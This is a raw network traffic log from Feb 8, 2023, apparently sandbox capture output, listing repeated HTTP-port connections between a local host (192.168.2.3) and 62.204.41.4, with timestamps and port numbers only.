Feb 8, 2023 21:31:24.585978031 CET	49733	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.588237047 CET	80	49734	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.588474989 CET	49734	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.588963032 CET	49734	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.651093006 CET	80	49734	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.653353930 CET	80	49734	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.653512955 CET	49734	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.760700941 CET	49734	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.761816025 CET	49735	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.822200060 CET	80	49735	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.823013067 CET	80	49734	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.823162079 CET	49734	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.823184013 CET	49735	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.825436115 CET	49735	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.885778904 CET	80	49735	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.888216972 CET	80	49735	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.892029047 CET	49735	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.025119066 CET	49735	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.026072979 CET	49736	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.085568905 CET	80	49735	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.086026907 CET	49735	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.088521957 CET	80	49736	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.094099045 CET	49736	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.096772909 CET	49736	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.159400940 CET	80	49736	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.163085938 CET	80	49736	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.164063931 CET	49736	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.279896021 CET	49736	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.282133102 CET	49737	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.342571020 CET	80	49736	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.343625069 CET	80	49737	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.343803883 CET	49736	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.343877077 CET	49737	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.346204996 CET	49737	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.407888889 CET	80	49737	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.410954952 CET	80	49737	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.412695885 CET	49737	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.547213078 CET	49737	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.548192978 CET	49738	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.608592987 CET	80	49738	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.608634949 CET	80	49737	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.608815908 CET	49737	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.611996889 CET	49738	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.612828016 CET	49738	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.673238039 CET	80	49738	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.675921917 CET	80	49738	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.676146030 CET	49738	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.799346924 CET	49738	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.800275087 CET	49739	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.859882116 CET	80	49738	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.860091925 CET	49738	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.861900091 CET	80	49739	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.862060070 CET	49739	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.862579107 CET	49739	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:25.924107075 CET	80	49739	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.926588058 CET	80	49739	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:25.926852942 CET	49739	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.042578936 CET	49739	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.043726921 CET	49740	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.104581118 CET	80	49739	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.104624033 CET	80	49740	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.104753971 CET	49739	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.104849100 CET	49740	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.105437040 CET	49740	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.166018009 CET	80	49740	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.169698000 CET	80	49740	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.169843912 CET	49740	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.275465012 CET	49740	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.276521921 CET	49741	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.336318016 CET	80	49740	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.336535931 CET	49740	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.338009119 CET	80	49741	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.338205099 CET	49741	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.473669052 CET	49741	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.535279036 CET	80	49741	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.537626028 CET	80	49741	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.537791967 CET	49741	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.654057980 CET	49741	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.655041933 CET	49742	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.714572906 CET	80	49742	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.714766979 CET	49742	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.715764999 CET	80	49741	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.715893030 CET	49741	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.717820883 CET	49742	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.777220964 CET	80	49742	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.779829025 CET	80	49742	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.779994011 CET	49742	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.900101900 CET	49742	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.901066065 CET	49743	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.959615946 CET	80	49742	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.959849119 CET	49742	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.962413073 CET	80	49743	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:26.962630033 CET	49743	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:26.963196993 CET	49743	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.024502039 CET	80	49743	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.027477980 CET	80	49743	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.027713060 CET	49743	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.135935068 CET	49743	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.136951923 CET	49744	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.198776007 CET	80	49743	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.198944092 CET	49743	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.200088978 CET	80	49744	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.200258970 CET	49744	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.200875044 CET	49744	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.262572050 CET	80	49744	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.266582966 CET	80	49744	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.266712904 CET	49744	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.373814106 CET	49744	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.374761105 CET	49745	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.435595989 CET	80	49745	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.435650110 CET	80	49744	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.435764074 CET	49745	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.435812950 CET	49744	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.438465118 CET	49745	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.499223948 CET	80	49745	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.502505064 CET	80	49745	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.502624989 CET	49745	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.619602919 CET	49745	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.622675896 CET	49746	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.680629969 CET	80	49745	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.684333086 CET	80	49746	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.684860945 CET	49745	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.684926033 CET	49746	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.686671972 CET	49746	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.748394966 CET	80	49746	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.752453089 CET	80	49746	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.752605915 CET	49746	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.872009039 CET	49746	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.872996092 CET	49747	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.933250904 CET	80	49747	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.933398962 CET	49747	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.934890985 CET	80	49746	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:27.935502052 CET	49747	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.936007023 CET	49746	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:27.997004986 CET	80	49747	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.000261068 CET	80	49747	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.000379086 CET	49747	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.103982925 CET	49747	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.104899883 CET	49748	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.164371014 CET	80	49747	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.164454937 CET	49747	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.168302059 CET	80	49748	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.168498993 CET	49748	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.171577930 CET	49748	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.232765913 CET	80	49748	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.236423016 CET	80	49748	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.236577034 CET	49748	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.354669094 CET	49748	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.355520010 CET	49749	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.415265083 CET	80	49748	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.415380955 CET	49748	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.418319941 CET	80	49749	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.418519974 CET	49749	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.419019938 CET	49749	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.481605053 CET	80	49749	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.485996962 CET	80	49749	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.486457109 CET	49749	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.605879068 CET	49749	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.606816053 CET	49750	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.668673992 CET	80	49750	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.668711901 CET	80	49749	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.668914080 CET	49749	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.668929100 CET	49750	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.669504881 CET	49750	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.730994940 CET	80	49750	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.733625889 CET	80	49750	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.736406088 CET	49750	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.856116056 CET	49750	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.857083082 CET	49751	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.917664051 CET	80	49751	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.917757988 CET	80	49750	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.917859077 CET	49751	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.917890072 CET	49750	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.918585062 CET	49751	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:28.979063988 CET	80	49751	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.981673002 CET	80	49751	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:28.984661102 CET	49751	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.088859081 CET	49751	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.089917898 CET	49752	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.149574041 CET	80	49751	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.150171041 CET	49751	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.151819944 CET	80	49752	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.151964903 CET	49752	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.152514935 CET	49752	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.214168072 CET	80	49752	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.218450069 CET	80	49752	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.220485926 CET	49752	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.322050095 CET	49752	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.322889090 CET	49753	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.384006023 CET	80	49752	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.384165049 CET	49752	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.384329081 CET	80	49753	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.388544083 CET	49753	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.389091969 CET	49753	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.450753927 CET	80	49753	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.453413963 CET	80	49753	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.453622103 CET	49753	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.556763887 CET	49753	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.557566881 CET	49754	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.618484020 CET	80	49753	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.618676901 CET	49753	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.619012117 CET	80	49754	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.619146109 CET	49754	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.621346951 CET	49754	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.683399916 CET	80	49754	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.685875893 CET	80	49754	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.686096907 CET	49754	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.792236090 CET	49754	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.794224024 CET	49755	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.853933096 CET	80	49754	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.854125977 CET	49754	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.854691029 CET	80	49755	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.854847908 CET	49755	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.861684084 CET	49755	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:29.922410011 CET	80	49755	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.925134897 CET	80	49755	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:29.925323963 CET	49755	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.041440010 CET	49755	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.042335987 CET	49756	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.102298975 CET	80	49755	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.102729082 CET	49755	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.103981972 CET	80	49756	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.104121923 CET	49756	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.104619026 CET	49756	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.166347980 CET	80	49756	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.170248985 CET	80	49756	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.170449018 CET	49756	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.279743910 CET	49756	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.280843019 CET	49757	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.340503931 CET	80	49757	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.340629101 CET	49757	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.341500044 CET	80	49756	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.341594934 CET	49756	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.341809034 CET	49757	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.401442051 CET	80	49757	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.403728008 CET	80	49757	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.404035091 CET	49757	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.510713100 CET	49757	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.511995077 CET	49758	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.570492029 CET	80	49757	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.570615053 CET	49757	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.573518991 CET	80	49758	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.573651075 CET	49758	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.574105978 CET	49758	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.635570049 CET	80	49758	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.637723923 CET	80	49758	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.637872934 CET	49758	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.744422913 CET	49758	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.745975018 CET	49759	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.806375980 CET	80	49758	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.806616068 CET	49758	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.807637930 CET	80	49759	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.807764053 CET	49759	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.808118105 CET	49759	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.869786024 CET	80	49759	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.872117996 CET	80	49759	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:30.872210979 CET	49759	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.979600906 CET	49759	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:30.980340958 CET	49760	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.041341066 CET	80	49760	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.041414976 CET	80	49759	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.041526079 CET	49760	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.041589975 CET	49759	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.042505026 CET	49760	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.103569984 CET	80	49760	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.108855009 CET	80	49760	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.109013081 CET	49760	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.216144085 CET	49760	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.217266083 CET	49761	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.276727915 CET	80	49760	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.276923895 CET	49760	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.278630972 CET	80	49761	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.278881073 CET	49761	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.280569077 CET	49761	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.341964006 CET	80	49761	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.344552040 CET	80	49761	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.344654083 CET	49761	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.447942019 CET	49761	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.448931932 CET	49762	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.509468079 CET	80	49761	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.510560989 CET	80	49762	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.510777950 CET	49761	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.510850906 CET	49762	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.524264097 CET	49762	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.585850000 CET	80	49762	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.588319063 CET	80	49762	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.588852882 CET	49762	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.715553045 CET	49762	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.718816042 CET	49763	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.777219057 CET	80	49762	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.779414892 CET	80	49763	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.779618979 CET	49762	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.779716015 CET	49763	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.780350924 CET	49763	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.840838909 CET	80	49763	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.843260050 CET	80	49763	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:31.843493938 CET	49763	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.971265078 CET	49763	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:31.972515106 CET	49764	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.031944990 CET	80	49763	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:32.032037973 CET	49763	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.035126925 CET	80	49764	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:32.035271883 CET	49764	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.057321072 CET	49764	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.120054007 CET	80	49764	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:32.123912096 CET	80	49764	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:32.124876976 CET	49764	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.464730024 CET	49764	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.465656996 CET	49765	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.527127028 CET	80	49765	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:32.527190924 CET	80	49764	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:32.527388096 CET	49764	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.528599977 CET	49765	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.555335999 CET	49765	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.618304968 CET	80	49765	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:32.620625019 CET	80	49765	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:32.620809078 CET	49765	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.901148081 CET	49765	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.902014017 CET	49766	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.962837934 CET	80	49765	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:32.963016033 CET	49765	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.964699030 CET	80	49766	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:32.964894056 CET	49766	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:32.973144054 CET	49766	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.036190033 CET	80	49766	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:33.038276911 CET	80	49766	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:33.038441896 CET	49766	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.296463013 CET	49766	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.297441959 CET	49767	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.358995914 CET	80	49767	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:33.359112024 CET	80	49766	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:33.359230995 CET	49767	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.359268904 CET	49766	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.408798933 CET	49767	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.470415115 CET	80	49767	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:33.474467039 CET	80	49767	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:33.474670887 CET	49767	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.652014971 CET	49767	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.653048992 CET	49768	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.713711023 CET	80	49767	62.204.41.4	192.168.2.3
